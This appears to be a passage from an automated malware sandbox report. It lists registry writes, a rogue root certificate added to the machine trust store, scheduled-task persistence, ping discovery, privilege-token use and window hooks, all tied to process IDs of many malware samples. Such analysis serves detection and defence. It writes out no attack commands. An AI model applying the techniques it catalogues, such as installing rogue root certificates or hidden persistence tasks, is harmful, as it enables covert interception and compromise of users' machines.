Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\MRUListEx = 00000000ffffffff	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\NodeSlot = "6"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Generic"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616193"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616193"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\0 = 50003100000000007059339a100046696c6573003c0009000400efbe70592c9a7059339a2e00000007ac02000000190000000000000000000000000000009cf06300460069006c0065007300000014000000	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\SniffedFolderType = "Generic"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7FDE1A1E-8B31-49A5-93B8-6BE14CFA4943}\FFlags = "1"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7FDE1A1E-8B31-49A5-93B8-6BE14CFA4943}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000050000001800000030f125b7ef471a10a5f102608c9eebac0a000000a000000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000ed30bdda43008947a7f8d013a47366226400000078000000	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 14002e80922b16d365937a46956b92703aca08af0000	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7FDE1A1E-8B31-49A5-93B8-6BE14CFA4943}\IconSize = "32"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7FDE1A1E-8B31-49A5-93B8-6BE14CFA4943}\GroupView = "0"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7FDE1A1E-8B31-49A5-93B8-6BE14CFA4943}\Mode = "8"	chrome.exe
Key created	\Registry\User\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\NotificationData	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\IconSize = "16"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616193"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7FDE1A1E-8B31-49A5-93B8-6BE14CFA4943}\GroupByDirection = "1"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\TV_TopViewID = "{BDBE736F-34F5-4829-ABE8-B550E65146C4}"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:PID = "0"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupView = "0"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 0100000000000000ffffffff	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 010000000200000000000000ffffffff	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = fd021f00ad02d5dfa3239f020400000000009b0200003153505305d5cdd59c2e1b10939708002b2cf9aedf01000012000000004100750074006f004c006900730074000000420000001e000000700072006f00700034003200390034003900360037003200390035000000000098010000aea54e38e1ad8a4e8a9b7bea78fff1e9060000800000000001000000020000800100000001000000020000002000000000000000a00014001f50e04fd020ea3a6910a2d808002b30309d3a002e803accbfb42cdb4c42b0297fe99a87c641260001002600efbe110000008b11c756af18db01ac1f1a1b5c38db01ac1f1a1b5c38db01140050003100000000007059339a100046696c6573003c0009000400efbe70592c9a7059339a2e00000007ac02000000190000000000000000000000000000009cf06300460069006c0065007300000014000000000000000000000000000000000000000000000001000000010000800100000004006900740065006d00000000000000000000000000000000000000000000000000000000000000000000000000000000001e1ade7f318ba54993b86be14cfa4943ffffffffffffffffffffffff00000000010000001700530065006100720063006800200052006500730075006c0074007300200069006e002000460069006c0065007300000000000000000000000000000000000000000000000000000000003900000024000000004100750074006f006c0069007300740043006100630068006500540069006d006500000014000000a84101ee1c0000006700000022000000004100750074006f006c00690073007400430061006300680065004b006500790000001f00000019000000530065006100720063006800200052006500730075006c0074007300200069006e002000460069006c006500730030000000000000000000000000000000741a595e96dfd3488d671733bcee28ba671b730433d90a4590e64acd2e9408fe2a0000001300efbe0000002000000000000000000000000000000000000000000000000001000000d3020000	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\TV_FolderType = "{7FDE1A1E-8B31-49A5-93B8-6BE14CFA4943}"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7FDE1A1E-8B31-49A5-93B8-6BE14CFA4943}\FFlags = "18874369"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1 = 3a002e803accbfb42cdb4c42b0297fe99a87c641260001002600efbe110000008b11c756af18db01ac1f1a1b5c38db01ac1f1a1b5c38db0114000000	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\SniffedFolderType = "Downloads"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = ffffffff	chrome.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
4364	reg.exe
3808	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	Dn8g5KQZ4r.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	Dn8g5KQZ4r.exe

Runs net.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
3644	PING.EXE
10416	PING.EXE
9692	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 48 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6940	schtasks.exe
5992	schtasks.exe
7560	schtasks.exe
7376	schtasks.exe
1612	schtasks.exe
1748	schtasks.exe
7892	schtasks.exe
7900	schtasks.exe
7152	schtasks.exe
8028	schtasks.exe
5348	schtasks.exe
8048	schtasks.exe
8016	schtasks.exe
6952	schtasks.exe
6956	schtasks.exe
2720	schtasks.exe
6440	schtasks.exe
4188	schtasks.exe
4904	schtasks.exe
4856	schtasks.exe
6160	schtasks.exe
6552	schtasks.exe
7380	schtasks.exe
6328	schtasks.exe
6404	schtasks.exe
7248	schtasks.exe
3088	schtasks.exe
9960	schtasks.exe
7540	schtasks.exe
6184	schtasks.exe
6256	schtasks.exe
5060	schtasks.exe
7320	schtasks.exe
6052	schtasks.exe
8360	schtasks.exe
10636	schtasks.exe
5056	schtasks.exe
8020	schtasks.exe
4592	schtasks.exe
10480	schtasks.exe
7468	schtasks.exe
5820	schtasks.exe
5412	schtasks.exe
7732	schtasks.exe
11436	schtasks.exe
660	schtasks.exe
680	schtasks.exe
7460	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 3 IoCs

pid	Process
5252	EXCEL.EXE
5256	aspnet_compiler.exe
6840	freedom.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
220	chrome.exe
220	chrome.exe
2748	test.exe
2748	test.exe
2748	test.exe
3644	powershell.exe
3644	powershell.exe
3644	powershell.exe
5872	powershell.exe
5872	powershell.exe
5872	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
5960	powershell.exe
5960	powershell.exe
5960	powershell.exe
5844	powershell.exe
5844	powershell.exe
5844	powershell.exe
2748	test.exe
2748	test.exe
6096	powershell.exe
6096	powershell.exe
6096	powershell.exe
3080	svchost.exe
3080	svchost.exe
6056	nxmr.exe
6056	nxmr.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
6056	nxmr.exe
6056	nxmr.exe
6076	winupsecvmgr.exe
6076	winupsecvmgr.exe
5960	powershell.exe
5960	powershell.exe
5960	powershell.exe
6076	winupsecvmgr.exe
6076	winupsecvmgr.exe
6076	winupsecvmgr.exe
6076	winupsecvmgr.exe
5068	bildnewl.exe
5068	bildnewl.exe
3228	loader_5879465914.exe
3228	loader_5879465914.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
912	7zFM.exe
3724	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe

Suspicious behavior: SetClipboardViewer 4 IoCs

pid	Process
5736	sysppvrdnvs.exe
5656	pipanel.exe
5960	sysnldcvmr.exe
8116	sysmablsvr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	912	7zFM.exe
Token: 35	912	7zFM.exe
Token: SeSecurityPrivilege	912	7zFM.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeDebugPrivilege	4936	4363463463464363463463463.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeDebugPrivilege	3312	4363463463464363463463463.exe
Token: SeDebugPrivilege	2660	OHDhueyr0e.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeBackupPrivilege	2660	OHDhueyr0e.exe
Token: SeSecurityPrivilege	2660	OHDhueyr0e.exe
Token: SeSecurityPrivilege	2660	OHDhueyr0e.exe
Token: SeSecurityPrivilege	2660	OHDhueyr0e.exe
Token: SeSecurityPrivilege	2660	OHDhueyr0e.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeDebugPrivilege	496	jerniuiopu.exe
Token: SeDebugPrivilege	2748	test.exe
Token: SeShutdownPrivilege	220	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
912	7zFM.exe
912	7zFM.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
3044	Optimum.pif
3044	Optimum.pif
3044	Optimum.pif
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe

Suspicious use of SetWindowsHookEx 64 IoCs

pid	Process
3724	chrome.exe
3540	t2.exe
496	jerniuiopu.exe
5196	pi.exe
5252	EXCEL.EXE
5252	EXCEL.EXE
5252	EXCEL.EXE
5452	Launcher.exe
5252	EXCEL.EXE
5252	EXCEL.EXE
5252	EXCEL.EXE
5252	EXCEL.EXE
5252	EXCEL.EXE
5252	EXCEL.EXE
5252	EXCEL.EXE
5252	EXCEL.EXE
5252	EXCEL.EXE
5252	EXCEL.EXE
5252	EXCEL.EXE
3724	chrome.exe
3724	chrome.exe
3080	svchost.exe
5388	t1.exe
3228	loader_5879465914.exe
5320	twztl.exe
5784	html.exe
1884	Indentif.exe
4668	tdrpload.exe
5548	c2.exe
2216	pei.exe
5144	5.exe
5840	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5956	LummaC22222.exe
5028	newtpp.exe
5296	1304425268.exe
936	xxz.exe
5960	sysnldcvmr.exe
6048	xt.exe
4568	NorthSperm.exe
3044	Optimum.pif
